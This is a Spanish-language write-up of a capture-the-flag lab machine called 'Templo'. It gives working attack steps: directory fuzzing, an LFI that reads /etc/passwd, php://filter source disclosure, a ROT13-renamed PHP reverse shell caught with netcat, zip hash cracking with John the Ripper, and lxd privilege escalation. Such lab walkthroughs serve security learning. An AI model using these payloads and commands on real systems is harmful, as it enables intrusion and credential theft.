Templo

🎯 Resolución

🔍Reconocimiento

🔎 Realizamos un escaneo exhaustivo con Nmap para identificar puertos abiertos y servicios en la máquina objetivo:

nmap -sC -sV -Pn 192.168.1.123

🕵️‍♂️ Análisis de vulnerabilidades

Al analizar la página web, identificamos que utiliza la plantilla NAMARI. Para explorar la estructura de la página y encontrar directorios o archivos interesantes, usamos el siguiente comando con wfuzz

wfuzz -c -L -t 400 --sc=200,301 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.123:80/FUZZ

Este comando realiza un escaneo de directorios en la página web en busca de archivos o carpetas con códigos de estado HTTP 200 (OK) y 301 (Redirección permanente), utilizando una lista de palabras como diccionario.

Durante el escaneo, encontramos un archivo interesante en la dirección http://192.168.1.98/wow/clue.txt, lo que nos da un posible indicio importante. Al abrirlo, encontramos lo siguiente:
Pasted image 20241229185556.png
Para mejorar nuestra búsqueda, decidimos crear un diccionario personalizado basado en el contenido de la página web. Para ello, usamos la herramienta cewl, que permite generar una lista de palabras clave extraídas del contenido de la página. Esto es útil para encontrar directorios ocultos o archivos que no estén en listas estándar de wordlists. Ejecutamos el siguiente comando para generar el diccionario:

cewl http://192.168.1.123/ > wordlist_Templo

Una vez que tenemos nuestro wordlist personalizado, procedemos a realizar un nuevo escaneo de directorios utilizando wfuzz. El comando utilizado es el siguiente:

wfuzz -c -L -t 400 --sc=200,301 -w wordlist_Templo http://192.168.1.123:80/FUZZ

Y aparece el directorio NAMARI
Pasted image 20241229190503.png
Al acceder a la página, vemos que permite subir archivos e incluir archivos.
Pasted image 20241229191248.png
Siguiendo nuestra primera intuición, intentamos subir un reverse shell. Aunque la página lo permite, parece que no se crea una ruta accesible para los archivos subidos, o no existe un directorio de uploads donde el archivo sea ejecutable. Incluso al escanear rutas como http://192.168.1.124:80/NAMARI/FUZZ, no encontramos ninguna ruta que apunte al archivo subido o algún directorio donde se pueda acceder a él. Esto sugiere que los archivos subidos no son accesibles a través de la web, o hay medidas adicionales que protegen su ejecución

Al probar la opción de incluir archivo, ponemos cualquier cosa para ver cómo funciona.
Pasted image 20241229191728.pngAl hacerlo, notamos que el URL cambia a
http://192.168.1.123/NAMARI/index.php?page=HOLA. Este comportamiento indica una posible vulnerabilidad de inclusión de archivos. El parámetro page en la URL parece permitir que se incluyan archivos arbitrarios, lo que puede ser explotado para cargar archivos desde el sistema, como un reverse shell o archivos sensibles, si logramos manipular la entrada correctamente.


🎯 Explotación

Aprovechamos la vulnerabilidad de inclusión de archivos y probamos acceder al archivo /etc/passwd mediante la URLhttp://192.168.1.123/NAMARI/index.php?page=/etc/passwd
Al hacerlo, descubrimos que existe el usuario rodgar en el sistema. Esto nos proporciona una pista importante, ya que ahora podemos intentar obtener más información sobre este usuario o realizar otros ataques, como un ataque de fuerza bruta para obtener su contraseña.
Al hacer fuerza bruta no se obtiene.

Volvemos al punto anterior para investigar qué sucede exactamente con los archivos subidos y cómo se manejan. Para entenderlo, necesitamos leer el código fuente de la aplicación. Aprovechando la vulnerabilidad de LFI (Local File Inclusion), usamos wrappers de PHP para leer el archivo index.php codificado y analizar su contenido.

Esto nos permitirá entender cómo está montada la funcionalidad de subir archivos y descubrir por qué nuestros intentos previos con el reverse shell fallaron.

http://192.168.1.123/NAMARI/index.php?page=php://filter/convert.base64-encode/resource=index.php


Pasted image 20241231121809.png
Nos aparecerael contenido codeado ahora lo decodeamos

echo "El contenido" | base64 -d

Pasted image 20241231122349.png
Este es el código completo de la funcionalidad, y se observa que aplica una codificación ROT13 al nombre del archivo subido. Para la explotación, se creó un reverse shell utilizando la herramienta de Pentest Monkey en la página Revshells.com. En este caso, se indicó la IP del atacante y el puerto.

sudo nc -lvnp 4333

Dado que el código renombra los archivos subidos aplicando ROT13, el nombre del reverse shell reverse.php se convierte en erirefr.php. Para ejecutar el reverse shell, se debe acceder a la URL del archivo subido a través del navegador:
http://192.168.1.123/NAMARI/uploads/erirefr.php
Pasted image 20241231134125.png

Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115

Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.


📈 Escalada de privilegios

Recuerden que en la página http://192.168.1.98/wow/clue.txt nos indicaban que fuéramos al directorio /opt. Para buscar archivos ocultos en dicho directorio, aplicamos el siguiente comando

ls -la /opt

Dentro hay un zip y se intentamos descomprimir nos pide de instalar el unzip
Pasted image 20241231135937.png
Encontramos un archivo ZIP. Al intentar descomprimirlo, nos solicitó instalar la herramienta unzip
Para obtener el archivo backup.zip de la víctima, abrimos un servidor web en la máquina víctima usando el siguiente comando:

python3 -m http.server 8080

En la máquina atacante, descargamos el archivo backup.zip con wget:

wget http://192.168.1.123:8080/backup.zip

Sin embargo, al intentar descomprimir el archivo backup.zip, nos solicita una contraseña, lo que indica que el archivo está protegido. Ahora necesitamos encontrar la contraseña para poder acceder a su contenido.
Pasted image 20241231140605.png
La única opción para obtener la contraseña del archivo backup.zip es crackear el hash del archivo. Primero, necesitamos obtener el hash del archivo ZIP utilizando la herramienta zip2john

zip2john backup.zip > hash_zip


Luego, utilizamos John the Ripper para crackear el hash usando un diccionario de contraseñas (en este caso, rockyou.txt):

john hash_zip --wordlist=/usr/share/wordlists/rockyou.txt 


Al descomprimir el archivo backup.zip, descubrimos que la contraseña es batman. Dentro del archivo, encontramos un texto que parece ser una contraseña para el usuario rodgar.
Pasted image 20241231150814.png
Para cambiar al usuario rodgar, usamos el comando:

su rodgar

Al ejecutar sudo -l, observamos que no tiene permisos de sudo. Luego, al usar el comando id, descubrimos que rodgar pertenece al grupo lxd, un grupo vulnerable.
Pasted image 20241231151419.png
Investigamos más sobre las implicaciones de ser parte del grupo lxd y encontramos una vulnerabilidad relacionada con el uso de LXD/LXC para la escalada de privilegios. Siguiendo los pasos de un artículo en Medium, logramos escalar a root.

Finalmente, descubrimos que los directorios de la máquina víctima se encuentran en /mnt/root.

¡Ya somos root!

Pasted image 20241231152507.png